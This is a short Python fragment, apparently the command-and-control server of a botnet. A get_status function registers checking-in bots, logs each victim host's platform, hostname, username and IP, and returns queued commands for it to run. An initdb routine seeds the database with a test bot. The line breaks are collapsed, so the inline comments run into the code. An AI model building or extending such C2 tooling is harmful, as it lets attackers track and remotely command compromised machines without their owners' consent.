def get_status(bot_id): bot = Bot.query.get(bot_id) #set bot equal to var if not bot: #if doesnt exist then create new bot obj and add to db (new bot) bot = Bot(bot_id) info = request.get_json( ) #api call by post with json obj, update the db with the json obj print(info) if info: #updates bot info each time if 'platform' in info: bot.os = info['platform'] if 'hostname' in info: bot.hostname = info['hostname'] if 'username' in info: bot.username = info['username'] bot.ip = request.remote_addr #update ip address and last ping to now bot.last_ping = datetime.now() db.session.add(bot) db.session.commit() pending_cmd = '' #check if the bot has any commands pending, if so then delete it and return it cmd = bot.commands.order_by(Command.timestamp.desc()).first() if cmd: pending_cmd = cmd.cmd db.session.delete(cmd) db.session.commit() return pending_cmd
def initdb(): db.drop_all() db.create_all() bot = Bot("1234") bot.ip = 'asdfas' db.session.add(bot) db.session.commit()